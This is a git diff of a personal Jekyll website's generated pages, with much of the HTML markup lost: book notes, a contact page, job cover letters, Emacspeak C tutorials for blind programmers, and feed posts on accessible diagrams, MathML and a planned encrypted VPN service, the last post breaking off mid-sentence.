    Many people have expressed confusion over how padding and margins work in HTML/CSS. I have been one of those people. In this short article I will explain what the differences are between the two, and how it may affect the functionality of your site.

    +
    +
    + + +
    +
    + +
    + + diff --git a/book-notes/canadian-history-for-dummies/index.html b/book-notes/canadian-history-for-dummies/index.html new file mode 100644 index 0000000..e456a0d --- /dev/null +++ b/book-notes/canadian-history-for-dummies/index.html @@ -0,0 +1,74 @@ + + + + + Canadian History For Dummies | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +
    +
    +

    Canadian History For Dummies

    + +
    +
    + +

    Lookup more info on these isolated languages:

    + +
    +

    “The Pacific Northwest was the most densely populated area of Canada. +It has been estimated that almost half of Canada’s total native population was living in British Columbia at the time of first contact. +More than 30 languages were spoken here, making it one of the most linguistically diverse areas anywhere on earth. +And two of the languages (Haida and Tlingit) are isolates: +unique and unrelated to any others.”— +[1, P. 25]

    +
    + +
    + +

    Find info on thie document this is taken from:

    + +
    +

    “To seeke out, discover and finde whatsoever liescountreyes, regions or provinces of the hethen and infidells … whiche before this time have beene unknowen to all Christians”—from the directives given to John Cabot by Henry VII +[1, P. 38]

    +
    + +
    + +
    1. [1]W. Ferguson, Canadian History For Dummies, 2nd Edition. John Wiley & Sons Canada, Ltd., 2005.
    + +
    + +
    +
    + +
    + + diff --git a/book-notes/index.html b/book-notes/index.html new file mode 100644 index 0000000..0c3273b --- /dev/null +++ b/book-notes/index.html @@ -0,0 +1,49 @@ + + + + + Book Notes | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    + + +
    +
    + +
    + + diff --git a/book-notes/industrial-society-and-its-future/index.html b/book-notes/industrial-society-and-its-future/index.html new file mode 100644 index 0000000..07130cf --- /dev/null +++ b/book-notes/industrial-society-and-its-future/index.html @@ -0,0 +1,43 @@ + + + + + Industrial Society and Its Future | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    + + +
    +
    + +
    + + diff --git a/contact/index.html b/contact/index.html new file mode 100644 index 0000000..b47cbaf --- /dev/null +++ b/contact/index.html @@ -0,0 +1,56 @@ + + + + + | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Here are my contact details if you would like to contact me professionally or personally.

    + +
    Personal Email - tait.hoyem@protonmail.com
    +


    + +
    Work Email - tait@tait.tech
    +


    + +
    School Email - tait.hoyem@edu.sait.ca
    +


    + +
    Phone - +1 (403) 771-4754
    +


    + + +
    +
    + +
    + + diff --git a/cover-letter-vcc/index.html b/cover-letter-vcc/index.html new file mode 100644 index 0000000..dd1bf4f --- /dev/null +++ b/cover-letter-vcc/index.html @@ -0,0 +1,42 @@ + + + + + Cover Letter - VCC | tait.tech + + + + + + +
    +
    +

    Tait Hoyem

    + +

    Hello, Alice

    + +

    This will be short and sweet.

    + +

    Copying and explaining information in accessible ways is something I have been doing my entire life—sometimes without realizing it. +As a partially-sighted student, +I know what information makes sense without visuals and what information will be completely meaningless without additional context or description.

    + +

    I also have some background in computer science. +This allows me to transcribe and explain only what is important. +Somebody without this background may not know when a number being shown on screen is important or when it is genuinely meaningless. +I also do not need to go back and forth to the text I am copying from to be one-hundered percent sure I have the right paranthasies, brackets, less-than signs, et cetera. +All these patterns make sense to me when I read them.

    + +

    Although I would prefer to work with computer science students, +I am willing to be used more broadly if that is of use to you.

    + +

    Thank you for your consideration,

    + +

    —Tait Hoyem

    + +
    +
    +
    +
    + + diff --git a/cover-letters/bloombase/index.html b/cover-letters/bloombase/index.html new file mode 100644 index 0000000..fae5048 --- /dev/null +++ b/cover-letters/bloombase/index.html @@ -0,0 +1,61 @@ + + + + + Cover Letter | Bloombase | tait.tech + + + + + + +
    +
    +
    +To: Bloombase
    +
    +128 W Hastings St #350
    +Vancouver, British Columbia
    +V6B 1G8, Canada
    +
    +Job Number: 620145
    +
    + +

    I am a student at the Southern Alberta Institute of Technology (SAIT), +in Calgary, Alberta +where I am taking a general IT diploma with a software development major.

    + +

    The simple way of explaining my relationship with security is that it is exactly what I want to be doing with my career. +When given an assignment to chose any technology related topic, +I chose to talk about Edward Snowden; +for an emerging trend topic, I delved into public-key encryption and the Curve25519 eliptic crytographic method.

    + +

    I run Linux as my primary operating system, and I use an offline password manager. My browser clears cookies every time I restart it. +These are some basic things I do personally to protect myself.

    + +

    I think everybody has things they should be keeping secure, +and I am very motivated to help them achieve the messure of security needed.

    + +

    Security is build right into my goals for my programming career. I have two goals:

    + +
      +
    1. Create ease of use for strong crytography, security and privacy tools.
    2. +
    3. Accessibility of software to the visually impaired.
    4. +
    + +

    These goals are intertwined in: “If you make something good, make it for everyone.”

    + +

    I’ve included my resume for your review, and would like to note that I would be pleased to relocate to Vancouver for this position.

    + +

    Thank you for your time in considering me for this position!

    + +

    Sincerely,

    + +

    Tait Hoyem

    + +
    +
    +
    +
    + + diff --git a/cover-letters/protonmail/index.html b/cover-letters/protonmail/index.html new file mode 100644 index 0000000..478cb63 --- /dev/null +++ b/cover-letters/protonmail/index.html @@ -0,0 +1,60 @@ + + + + + Cover Letter | Proton Technologies | tait.tech + + + + + + +
    +
    +
    +To: Proton Technologies AG
    +
    +Route de la Galaise 32,
    +1228 Plan-les-Ouates
    +Geneva, Switzerland
    +
    +Job Description: Front-End Developer
    +
    + +

    Why I Want To Work For Proton

    + +

    Hello,

    + +

    You may notice from the email address that I personally use a Protonmail email address. That in itself may not prove anything. +That said, security and privacy is what I live for. +Everybody deserves access to secure communication away from the prying eyes of the NSA, its global partners in spymenship and other governments and special interest groups around the world.

    + +

    Proton embodies, to me, what email—and other internet services in general—should be. A service you pay for with your money, not your data.

    + +

    What I Plan To Achieve

    + +

    My specialty is in improving accessibility with screen readers and other blind-friendly devices. +The recent addition of key bindings to navigate the interface will go a long way towards accessibility for the visually impaired. +Awesome work!

    + +

    I want to help Protonmail be the best secure, accessible email platform in the world.

    + +

    Why I Applied Despite Lack Of Experience

    + +

    I have been writing websites since high-school; I went to collage to learn what ‘real’ software development is like. Despite this, I put more time and effort into my off-school hours to learn what people are actually using on a large scale: Django, Ruby On Rails, Redis, Docker, ES6 Javascript. None of which was taught in class. +Since leaving school I have had the opportunity to use everything I learned out of class in real-world scenarios and I trust that I can take this information to Proton where I can help make the software better for everyone.

    + +

    I am a self-starter and a go-getter. Nothing proves it like how much I learned outside of my classes compared to inside.

    + +
    + +

    I would be honoured to work for a company I truly believe in.

    + +

    —Tait Hoyem

    + +
    +
    +
    +
    + + diff --git a/emacspeak-tutorials/arrays/index.html b/emacspeak-tutorials/arrays/index.html new file mode 100644 index 0000000..5f0f527 --- /dev/null +++ b/emacspeak-tutorials/arrays/index.html @@ -0,0 +1,64 @@ + + + + + Arrays in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Arrays in C, an Emacspeak Tutorial

    + +

    Arrays are sequential collections of objects of the same type (mostly). +Arrays and for loops are natural pairs. +Check out my resources on loops in conjunction with this video.

    + +

    Hopefully everything was explained alright. +Let me know if not.

    + + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/functions/index.html b/emacspeak-tutorials/functions/index.html new file mode 100644 index 0000000..8bb970a --- /dev/null +++ b/emacspeak-tutorials/functions/index.html @@ -0,0 +1,63 @@ + + + + + Functions in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Functions in C, an Emacspeak Tutorial

    + +

    Functions allow us to modularize our programs into many small parts. +Of course if we need to do something once at the start of our program, and once again at the end, +it will be rather inconvenient to copy and paste all our code all the time.

    + +

    Hope everything makes sense. If not, let me know.

    + + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/index.html b/emacspeak-tutorials/index.html new file mode 100644 index 0000000..38ff10d --- /dev/null +++ b/emacspeak-tutorials/index.html @@ -0,0 +1,86 @@ + + + + + Emacspeak Tutorial Resources | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Emacspeak Tutorial Resources

    + +

    This is a list of resources and videos associated with my emacspeak tutorials. +They are grouped by language and library. +Although I try my best to keep each individual video as self-sufficient as possible… +sometimes it’s not quite possible. Especially with complex libraries. +The lack of sorting is intentional. +See Luke Smith’s video on why to ramble and not be sequential.

    + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/loops/index.html b/emacspeak-tutorials/loops/index.html new file mode 100644 index 0000000..44e6146 --- /dev/null +++ b/emacspeak-tutorials/loops/index.html @@ -0,0 +1,63 @@ + + + + + Loops in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Loops in C, an Emacspeak Tutorial

    + +

    For loop, while loop! Why all the confusion?

    + +

    I explain in my own way how loops work using basic C programming techniques to do many things in very few lines. +Hopefully you don’t get payed by lines of code because that would be ridiculous.

    + + + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/pointers/index.html b/emacspeak-tutorials/pointers/index.html new file mode 100644 index 0000000..aebcd70 --- /dev/null +++ b/emacspeak-tutorials/pointers/index.html @@ -0,0 +1,65 @@ + + + + + Pointers in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Pointers in C, an Emacspeak Tutorial

    + +

    Pointers are often seen as this complicated thing, +but really they’re just like a home address. +You can go somewhere to find something specific. +123 Main St. is where Bob lives, +and as long as I know Bob lives there we can say “Deliver groceries to 123 Main St.” and we know this means that Bob will get his groceries.

    + +

    Hopefully everything is explained well. The resources are as follows:

    + + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/printing/index.html b/emacspeak-tutorials/printing/index.html new file mode 100644 index 0000000..710dfd4 --- /dev/null +++ b/emacspeak-tutorials/printing/index.html @@ -0,0 +1,62 @@ + + + + + Printing in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Printing in C, an Emacspeak Tutorial

    + +

    “Hello World!”

    + +

    The most famous incantation among programmers and software engineers since it was popularized in the 1990s by Ken Thompson and Dennis Richie. +Today I will explain how to make your own “Hello World!” application in C using the Emacspeak environment for the blind and visually impaired.

    + + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/structs/index.html b/emacspeak-tutorials/structs/index.html new file mode 100644 index 0000000..224cb65 --- /dev/null +++ b/emacspeak-tutorials/structs/index.html @@ -0,0 +1,65 @@ + + + + + Structs in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Structs in C, an Emacspeak Tutorial

    + +

    Structs are a way of grouping related data together. +Think of a struct the same way your would any other noun. +They often have many individual attributes that combine to make that thing. +For example, a student may have a first name, last name, student ID, GPA, list of classes, etc. +In this tutorial I use a very trimmed down version of what a structure generally contains to make the point without overwhelming you.

    + +

    Hopefully it helps. Let me know about any improvements.

    + + + + + + +
    +
    + +
    + + diff --git a/emacspeak-tutorials/user-input/index.html b/emacspeak-tutorials/user-input/index.html new file mode 100644 index 0000000..a0220d7 --- /dev/null +++ b/emacspeak-tutorials/user-input/index.html @@ -0,0 +1,62 @@ + + + + + User Input and Variables in C | tait.tech + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    User Input and Variables in C, an Emacspeak Tutorial

    + +

    How do you interact with a user in C?

    + +

    Check out my emacspeak tutorial on how to get user input of numbers (like ages) and strings (like names and addresses).

    + + + + + + + +
    +
    + +
    + + diff --git a/feed.xml b/feed.xml new file mode 100644 index 0000000..5b1012e --- /dev/null +++ b/feed.xml @@ -0,0 +1,1148 @@ +Jekyll2021-12-07T09:31:35-07:00/feed.xmlNew Company2021-11-30T00:00:00-07:002021-11-30T00:00:00-07:00/2021/11/30/new-company<p>In my accidental quest to create accessible diagrams to a computer science student I have been contracting for, +I found in the post-secondary field a massive lack of care given to the topic of accessible diagrams, +even when they are relatively easy to create. +For example, a binary tree, or any tree structure actually has <a href="https://www.w3.org/WAI/GL/wiki/Using_ARIA_trees">native <code class="language-plaintext highlighter-rouge">aria-role</code> attributes</a> to alert a screen reader to the presence of a tree object. +A tree is only a list of lists after all.</p> + +<h2 id="what-im-doing-now">What I’m Doing Now</h2> + +<p>Although I sort of thought my career was going in a different direction after starting a full-time job in August, +I think I’m the right guy to create a good system for this. +I will be using my existing company <a href="https://bytetools.ca/">Bytetools</a> to create and sell these tools to universities. +It will be all open-source (GPLv3), but access to a website that I maintain for an institution will cost a bunch of money that only a university can afford.</p> + +<p>Side note: This is how to make money with open source: +Create the software (free and libre), then host the software for a monthly fee. +<a href="https://www.invoiceninja.com/">Invoice Ninja</a> uses this strategy, and I think it strikes the appropriate balance between the need to live off of something you care about and creating free and open-source software. +For the <em>vast</em> majority of people it makes more sense for them to purchase a subscription to your site than to find someone who can setup a website for them alone.</p> + +<p>So, here goes nothing…</p>In my accidental quest to create accessible diagrams to a computer science student I have been contracting for, I found in the post-secondary field a massive lack of care given to the topic of accessible diagrams, even when they are relatively easy to create. For example, a binary tree, or any tree structure actually has native aria-role attributes to alert a screen reader to the presence of a tree object. A tree is only a list of lists after all.How To Produce Semantically Correct MathML From XaTeX/LaTeX (and other accessibility ideas)2021-09-18T00:00:00-06:002021-09-18T00:00:00-06:00/2021/09/18/how-to-generate-proper-content-mathml-from-katex-or-latex<p>During a recent run-in with the Simon Fraser Fraser University accessibility department, +I learned that they’re writers are so well-trained as to write “image” where a simple diagram is shown, +and “print out picture of output” where a piece of code lies. +I figure the geniuses over there could use some help creating files for the visually impaired. +Here’s a quick guide!</p> + +<h2 id="diagrams">Diagrams</h2> + +<p>Most unexplained diagrams I saw were ones which mirrored classic computer-science imagery; +these diagrams, for the most part, were not complex nor exotic; +they are straight-forward to explain in writing, +or easy to turn into a table. +I’ll show two examples here, +one will show a visual aide in relation to stacks and queues, +and the other will show a memory representation of a stack. +Both of these were explained as “image” to the student.</p> + +<h2 id="stacks">Stacks</h2> + +<p>Diagram 1:</p> + +<figure> + <img src="/assets/img/access1/stack.png" alt="image...lol! Just kidding, will explain it below w/ table" /> + <figcaption>Simple diagram explaining the push/pop process. Source: <a href="https://stackoverflow.com/questions/32151392/stacks-queues-and-linked-lists">Stackoverflow</a></figcaption> +</figure> + +<p>Ok, so here we have a diagram showing the pushing and popping process of a stack. +Now, “image” is hardly sufficient to explain this, so let’s try it with text. +I won’t finish it because it gets unwieldy very fast:</p> + +<blockquote> + <p>A diagram showing a stack. It starts with the operation “Push A”, and now the stack contains the variable “A”; now the stack pushes “B”, which displays now “B” on top of “A”…</p> +</blockquote> + +<p>This is no solution. +It is hard to explain this correctly and accurately without being extremely verbose and frankly, confusing—this defeats the whole purpose of describing the image. +The good news, is that computer science diagrams especially tend to lean towards being tabular data. +Now to be clear, something does not need to look like a table to be tabular data; +this image happens to look almost like a table if you squinted hard enough, +but many data not written down in a table, are still “tabular data”. +I will show an example of that next! +For now though, here is the same idea, same data without words:</p> + +<table> + <thead> + <tr> + <th>Operator</th> + <th>Stack Values</th> + </tr> + </thead> + <tbody> + <tr> + <td>Push A</td> + <td>[A]</td> + </tr> + <tr> + <td>Push B</td> + <td>[B, A]</td> + </tr> + <tr> + <td>Push C</td> + <td>[C, B, A]</td> + </tr> + <tr> + <td>Push D</td> + <td>[D, C, B, A]</td> + </tr> + <tr> + <td>Pop D</td> + <td>[C, B, A]</td> + </tr> + </tbody> +</table> + +<p>Now this diagram does imply you can pop other items, like “Pop A”, which is just not true. +But that’s the fault of the diagram, not the representation of it.</p> + +<p>Here is the raw text equivalent (in Markdown):</p> + +<pre> +Operator|Stack Values +---|--- +Push A|[A] +Push B|{B, A] +Push C|[C, B, A] +Push D|[D, C, B, A] +Pop (D)|[C, B, A] +</pre> + +<h2 id="stacks-in-memory">Stacks in Memory</h2> + +<p>So I couldn’t find a good non-copyright image of a stack in memory, but I’ll write it down here in plain text, and you should get the idea. +Now again, remember this is still labeled “image” to the student, +they do not have access to a text version of this.</p> + +<pre> +( ) ( ( ( ) ) ) ( ) ( ( ) ( ( ) +1 0 1 2 3 2 1 0 1 0 1 2 1 2 3 2 +</pre> + +<p>Now, someone who looks at this can probably see that the number goes up for a left parenthesis, and down for a right parenthesis. +“Image”, however, does not handle the detail. +The issue here is a transcriber is likely to want to transcribe this as <em>text</em>. +But it’s really not. +This is again, tabular data, which is best represented in a table.</p> + +<p>Table of this:</p> + +<table> + <thead> + <tr> + <th>Character</th> + <th>Counter</th> + </tr> + </thead> + <tbody> + <tr> + <td>(</td> + <td>1</td> + </tr> + <tr> + <td>)</td> + <td>0</td> + </tr> + <tr> + <td>(</td> + <td>1</td> + </tr> + <tr> + <td>(</td> + <td>2</td> + </tr> + <tr> + <td>(</td> + <td>3</td> + </tr> + <tr> + <td>)</td> + <td>2</td> + </tr> + <tr> + <td>)</td> + <td>1</td> + </tr> + <tr> + <td>)</td> + <td>0</td> + </tr> + <tr> + <td>(</td> + <td>1</td> + </tr> + <tr> + <td>)</td> + <td>0</td> + </tr> + <tr> + <td>(</td> + <td>1</td> + </tr> + <tr> + <td>(</td> + <td>2</td> + </tr> + <tr> + <td>)</td> + <td>1</td> + </tr> + <tr> + <td>(</td> + <td>2</td> + </tr> + <tr> + <td>(</td> + <td>3</td> + </tr> + <tr> + <td>)</td> + <td>2</td> + </tr> + </tbody> +</table> + +<p>Raw text in markdown:</p> + +<pre> +Character|Counter +---|--- +(|1 +)|0 +(|1 +(|2 +(|3 +)|2 +)|1 +)|0 +(|1 +)|0 +(|1 +(|2 +)|1 +(|2 +(|3 +)|2 +</pre> + +<p>Insanely simple! +Look for clues of tabular data. +Things which have a one to one correspondence of any kind can usually be represented as a table, even if it’s only “aligned” on the slide or note.</p> + +<h2 id="math-expressions--mathml">Math Expressions &amp; MathML</h2> + +<p>Here is a more complex example: +using math within a presentation.</p> + +<p>Let’s take for example the mathematical expression <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>16</mn><mo>=</mo><msup><mn>2</mn><mn>4</mn></msup></mrow><annotation encoding="application/x-tex">16 = 2^{4}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">16</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span></span></span></span></span></span></span></span></span>. This is a very simple math expression that completely breaks in some cases. +When converting some math expressions to text, it will convert that expression as <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>16</mn><mo>=</mo><mn>24</mn></mrow><annotation encoding="application/x-tex">16 = 24</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">16</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">24</span></span></span></span>, erasing the superscript to denote the exponent.</p> + +<p>This gets even worse with large mathematical expressions like this:</p> + +<p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>B2U</mtext><mo stretchy="false">(</mo><mi>X</mi><mo stretchy="false">)</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>0</mn></mrow><mrow><mi>w</mi><mo>−</mo><mn>1</mn></mrow></munderover><msub><mi>x</mi><mi>i</mi></msub><mo>×</mo><msup><mn>2</mn><mi>i</mi></msup></mrow><annotation encoding="application/x-tex"> +\text{B2U}(X) = \sum_{i=0}^{w-1} x_{i} \times 2^{i} +</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">B2U</span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:3.0787820000000004em;vertical-align:-1.277669em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011130000000004em;"><span style="top:-1.872331em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">0</span></span></span></span><span style="top:-3.050005em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.300005em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.02691em;">w</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.277669em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8746639999999999em;vertical-align:0em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8746639999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span></span></span></span></span></span></span></span></span></span></span></span></span></p> + +<p>Here is what I get by extracting the text from the PDF:</p> + +<pre> +B2U(X ) = + +w-1 + +Σ xi •2 +i=0 + +i +</pre> + +<p>And this is generous, as the sigma sign, bullet point, equal sign and minus sign were for some reason not UTF-8 encoded so it displayed as a chat sign emoji, down arrow, video camera and book sign respectively. +Not sure about you, but I certainly can’t get the equation out of that mess.</p> + +<p>These can be written in LaTeX, then converted to MathML (an accessible math format) using <a href="https://katex.org">KaTeX</a>. +Here’s an example of what to write to product the function above:</p> + +<pre> +\text{B2U}(X) = \sum_{i=0}^{w-1} x_{i} \times 2^{i} +</pre> + +<p>For someone who is doing transcription as a <em>job</em> for visually impaired students, +I would go so far as to say to learn this is a necessity.</p> + +<ol> + <li>It’s not difficult. You can learn the vast majority of LaTeX math syntax in an afternoon.</li> + <li>It’s easier for <em>everyone</em> to read. Especially with KaTeX. KaTeX is able to convert the formula to both MathML for screenreader users and HTML markup for people who just want to see those fancy math expressions.</li> +</ol> + +<p>Likely, the teacher is already using some LaTeX derivative to create the math in the first place, +they might as well use a program like KaTeX, MathJax or likewise to convert it to MathML.</p> + +<h2 id="code--output">Code &amp; Output</h2> + +<p>How did it even happen that entire programs and outputs were just ignored with the label “picture of output” is beyond me. +Everything should be transcribed. +Whoever transcribed that document should be fired.</p> + +<h2 id="conclusion">Conclusion</h2> + +<p>To teachers:</p> + +<p>Presenting information in plain text, or at least having alternates forms of images, diagrams and math formulas makes education better for everyone, not just blind students. +It makes it better for people running on cheaper devices which may not handle running heavy software like Microsoft PowerPoint; +it makes it better for people who use operating systems other than MacOS and Windows (this is especially important in the technology sector, where Linux/BSD users make up a sizeable minority of users); +and finally, it makes it easier to search through the content of all notes at once using simple text-manipulation tools.</p> + +<p>To accessibility departments:</p> + +<p>Running a <code class="language-plaintext highlighter-rouge">pdftotext</code> program, or simply transcribing handwritten notes is not enough to properly describe slides and notes—handwritten or not. +Every diagram, math equation, annotation, piece of code or output—every single thing must be transcribed to plain text, or some alternate format like MathML.</p> + +<p>I find it sad that a student (with their own full-time job) can product better work than someone who has this job exclusively at a major university. +Perhaps I am mistaken and the university has volunteers do this work. +In that case I guess you can’t ask for too much, but somehow I feel like this is probably not the case.</p> + +<p>Big sad.</p>During a recent run-in with the Simon Fraser Fraser University accessibility department, I learned that they’re writers are so well-trained as to write “image” where a simple diagram is shown, and “print out picture of output” where a piece of code lies. I figure the geniuses over there could use some help creating files for the visually impaired. Here’s a quick guide!Idea For A VPN Service2021-08-31T00:00:00-06:002021-08-31T00:00:00-06:00/2021/08/31/vpns-api<p>Recently I’ve been thinking about starting a VPN service. +This service has some interesting requirements that I have never seen a VPN service do before, so I’d like to put down my thoughts as to what might be sensible for a centralized yet encrypted* VPN service.</p> + +<p>I would license all the code and scripts under the AGPLv3. +This creates an environment where I could allow my company to use this code, and any other company for that matter. However, no company would be allowed to take it into their own hands and use it without contributing back to the project.</p> + +<h2 id="e2ee-vpn">E2EE VPN</h2> + +<p>I want this service in many ways to be on par with <a href="https://protonmail.com">ProtonMail</a>: +end-to-end encrypted (E2EE), and with a focus in data security for the user of the service.</p> + +<p>Full encryption, so that even me, the writer and the deployer of the service, cannot view any information about the user: this is the utmost security. +The bad news is that this is very hard to do in a convenient way. +I’ve decided for now that the best thing to do is to target the Linux nerd. +Target the user who is familiar with these advanced security practices, then make them available to the general public as the layers on top of the robust security are refined.</p> + +<h2 id="why">Why?</h2> + +<p>End-to-end encryption is necessary in a country like Canada, where I may be sent a subpoena to provide customer data. +This is the case especially in the <a href="https://en.wikipedia.org/wiki/Five_Eyes">Five Eyes</a> anglophone group of countries, who essentially spy on each others’ citizens for eachother. +In essence, any data in the hand of one government agency in the “Eyes Countries” may be shared between the Five, Nine, and 14 Eyes countries.</p> + +<p>I am not against government surveillance <em>in principle</em>. +In theory, the government should be finding bad guys: pedophiles, sex trafficking rings and drug cartels. +In practice, the U.S. government especially, uses its authority to spy on its own citizens who are simply minding their own business. <del>Bulk data collection</del> mass surveillance is not a freedom respecting characteristic of modern western democracies. +I do run the risk of not being able to help much in the case of a genuine warrant against a genuine, evil criminal. +That is the risk of privacy.</p> + +<p>That said, let’s see what can be built that can do these 2 things:</p> +<ol> + <li>Maximize privacy for the user.</li> + <li>Allow for (optional) monetization, depending on the provider. This is in some contradiction to premise 1.</li> +</ol> + +<h2 id="what-we-need">What We Need</h2> + +<p>A VPN service needs access to some basic information:</p> +<ol> + <li>Service discontinue time (the amount of time until the customer must renew).</li> + <li>Active connections (a number which can not be exceeded by an individual user).</li> +</ol> + +<p>The client needs access to some information from the server as well:</p> +<ol> + <li>A list of VPNs able to be connected to (with filters).</li> + <li>For every VPN: + <ol> + <li>IP Address.</li> + <li>Maximum bandwidth.</li> + <li>Number of connected users or connection saturation percentage.</li> + <li>Supported protocols.</li> + </ol> + </li> +</ol> + +<p>Can we do this in a end-to-end encrypted fashion? +I’m honestly not sure. But here are my ideas so far as to how <em>some</em> of these functions might work.</p> + +<h2 id="how-to-do-it">How To Do It</h2> + +<h3 id="usernames">“Usernames”</h3> + +<p>There will be one button to create your account: <em>“Generate username”</em> +The username, or unique identifier for a user will be generated for them by a random generator. +I plan to generate a username from a list of <a href="https://en.wikipedia.org/wiki/Base64">Base 64</a> characters; it will be a guaranteed length of 16. +This gives a total of: <code class="language-plaintext highlighter-rouge">79228162514264337593543950336</code> or <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7.9</mn><mo>×</mo><mn>1</mn><msup><mn>0</mn><mn>28</mn></msup></mrow><annotation encoding="application/x-tex">7.9 \times 10^{28}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.72777em;vertical-align:-0.08333em;"></span><span class="mord">7</span><span class="mord">.</span><span class="mord">9</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8141079999999999em;vertical-align:0em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span><span class="mord mtight">8</span></span></span></span></span></span></span></span></span></span></span></span> posibilities. +This is sufficient for a username.</p> + +<p>The other option is to use a standard “username” field that uses a modern hash function like <a href="https://en.wikipedia.org/wiki/Secure_Hash_Algorithms">SHA512</a> to store it in the database. +This is less secure as it is vulnerable to a brute-force attack of finding users, +but this is also a very easy attack to defend against, i.e. IP banning after 10-ish tries of not finding a username.</p> + +<p>A <em>non-unique, universal</em> <a href="https://en.wikipedia.org/wiki/Salt_(cryptography)">salt</a> will also be used on each username before storing it in the database to make it more secure. +This decreases the possibility of an advanced attacker being able to find usernames in a leaked database using <a href="https://en.wikipedia.org/wiki/Rainbow_table">rainbow tables</a>. +That said, the fact that it is a fixed salt makes it much more vulnerable to an attack. +Although it would be known only by the server machine, it would still be somewhat of a vulnerability. +The operator may also store the salt in an encrypted password store of their own in case the server is 